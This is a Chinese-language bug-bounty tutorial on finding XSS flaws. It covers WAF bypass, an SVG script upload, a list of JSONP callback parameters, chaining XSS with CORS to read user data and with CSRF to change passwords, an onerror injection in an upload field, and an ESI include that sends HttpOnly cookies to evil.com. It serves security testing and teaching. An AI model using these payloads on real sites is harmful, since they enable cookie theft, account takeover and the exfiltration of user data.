XSS漏洞挖掘

XSS漏洞最简单的理解就是将我们输入的内容解析为HTML

像下面的案例就不存在xss漏洞，因为你看img标签和p标签的颜色是不一致的

当img标签和其他标签颜色一样时说明将我们输入的内容当成HTML进行解析了

看见输入框就直接输入XSS语句，第一开始最好就是使用img标签，经过多年的经验一般img标签拦得比较少，如果确认有XSS漏洞，有WAF的话就直接绕啦，XSS漏洞中的很多WAF都可以绕过，只要<>这个符号没有给拦那么基本上都能绕过。

文件上传点

方式一

上传一张含有xss语句的图片，更改上传类型

方式二

在图片后面添加HTML很有可能会实现绕过如果上传到的域名是在云服务器上的话，且能够上传任意文件，那建议更改漏洞名称以另外一种形式进行提交，因为我已这样的漏洞交过很多次，都是给忽略，而另外一种形式交很多都是中危或者高危！后续在文件上传漏洞在讲吧!

方式三

除了传统的JPG图片外很多服务器也支持上传svg格式的图片。上传一个xss payload的svg格式图片 payload如下：

<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
   <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
   <script>alert(1)</script>
</svg>

寻找可控参数

在数据包的抓取过程中观察是否有可控参数，并且查看返回保定的返回Content-Type类型是不是text/html类型，如果这两个条件满足就说明极其有可能存在漏洞。

看下面案列，你看callback参数，我们输入的内容返回包中全部显现出来，说明参数可控，并且返回类型为text/html

直接输入img标签，解析为html

说明存在反射xss漏洞，有WAF但几下就绕过了（后续会写一篇专门关于XSS WAF绕过的文章）

下面是常见的可控参数

_callback=11
_cb=11
callback=11
cb=11
jsonp=11
jsonpcallback=11
jsonpcb=11
jsonp_cb=11
json=11
jsoncallback=11
jcb=11
call=11
callBack=11
jsonpCallback=11
jsonpCb=11
jsonp_Cb=11
jsonCallback=11
ca=11
callBackMethod=11

审计

就是要看html源码，从源码里面找出可能反射的参数，看看下面，var terms_style：

就是把它变成url的参数，terms_style， terms， style， term， 你能猜出来算我输。没错， 是style~

先轻轻地注入” 符号，很好啊，没转义，没过滤，接下来就是直接输入XSS语句不多说了，关键就是寻找可控参数。

参考文章：https://mp.weixin.qq.com/s/RCebgSJLrucJ71KiZe22DQ

骚操作

这是在一个旁站挖到的XSS漏洞（旁站漏洞给的赏金比较少）

成功弹出cookie、并且我f12查看发现bbb.xxx.com这个域名的cookie、和aaaa.xxx.com主站的cookie是一样的、只要盗取bbb.xxx.com的cookie就相当于获取主站的cookie信息（aaa这个域名是打个比方引用）如果是这样的情况在漏洞提交的时候可以说明

危害加大

在创建工单这有图片上传点，但却没有存储XSS漏洞

上传一张图片并抓包

在上传数据包的过程中该数据包的URL引起了我的注意，如果我将URL信息替换为上面文件上传导致的存储xss的链接，是否能够实现替换

成功变为包含存储XSS的图片链接不出所料，发送成功后打到了管理员的cookie

CORS和XSS漏洞组合拳

首先挖到一个反射xss漏洞同时在另外一个域名下发现CORS漏洞，该接口能够获取用户身份量信息

修改为任意源发现直接拒绝

然后我再加上子域名就可以了、说明没有验证严谨、任何子域名都是允许源，在配合子域名的xss即可。直接写脚本脚本如下：

https://www.xxx.com/script/buyer/epay?callback=<script>var http = new XMLHttpRequest();
 var url = 'https://www.bbb.com/user/address/getUserAllAddress.json?_=1647180520575';
 var params = '';
 http.open('GET', url, true);
 http.setRequestHeader("Content-type","application/json;charset=UTF-8");
 http.withCredentials = true;
 http.onreadystatechange = function() {

  if(http.readyState == 4 && http.status == 200) {

   alert(http.responseText);

  }

 }

 http.send();</script>

（以后使用的时候只要将给的链接替换成存在漏洞的链接即可）组合成功

CSRF和XSS漏洞组合拳

CSRF和XSS漏洞的组合拳，需要一个XSS比如在留言处、内容发布处，一个敏感操作的CSRF如密码修改处、个人信息修改处。在受害者访问存在xss漏洞的过程中，就能够直接造成CSRF漏洞来进行密码修改。看以下案列：直接访问修改密码URL 将难度调至Low级别，我们把在CSRF中修改密码后的URL复制下来

到XSS(Stored)中将复制到的网址粘贴到Message中，使用img标签构造语句，若文本框限制字符长度，就在页面代码中修改

当受害者访问该存在xss漏洞的地方处，服务器就会自动加载img标签中的链接，该链接就是CSRF链接从而造成密码修改高危操作，其实这在实战中还是经常遇到的啦。<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=444&password_conf=444&Change=Change">

绕过HTTPOnly Cookie

按照设计，HTTP代理（如代理和负载均衡器）可以访问完整的HTTP请求和响应。这包括浏览器或服务器发送的所有cookie。ESI规范的一个有用功能是能够访问ESI标签内传输的cookie。这允许开发人员在ESI引擎中使用cookie，通过利用cookie给予开发人员更大的灵活性。

正是这个有用的功能提供一个重要的攻击媒介：cookie外带（cookie exfiltration）通过JavaScript引擎对cookie进行窃取的一个已知策略是使用HTTPOnly。它在创建Cookie时指定，将拒绝JavaScript引擎访问cookie及其值的能力，从而防止XSS攻击窃取cookie。由于ESI是在服务器端进行处理的，因此可以在从上游服务器到代理的过程中使用这些cookie。一个攻击媒介将使用ESI include通过其URL来外带cookie。想象一下ESI引擎正在处理以下payload：

<esi:include src="http://evil.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />这时我们在evil.com主机的HTTP访问日志中就可以看到：

127.0.0.1 evil.com - [08/Mar/2018:15:20:44 - 0500] "GET /?cookie=bf2fa962b7889ed8869cadaba282 HTTP/1.1" 200 2 "-" "-"这样，HTTPOnly cookies可以在没有Javascript的情况下被窃取。

参考文章：https://www.anquanke.com/post/id/103641#h3-5

不一样的XSS

上传一张图片

点击上传一张图片、抓取上传图片数据包的返回包，也就是这个数据包的返回包

返回包如下：修改fileId参数值为：

1u0022 onerror=alert(1) u0022

成功弹窗，并且刷新页面还是可以继续弹窗，这边问了客服也会弹窗，说明不是self-xss，而是存储xss

原理是我们在上传图片的时候图片本身有一个img标签，我利用这个img标签给修改成弹窗，并内嵌进去了如下：在几乎所有的漏洞挖掘过程中基本就是寻找可控参数来挖掘，XSS漏洞也不例外，所以平常漏洞挖掘过程中最主要的还是理解业务功能、观察数据包。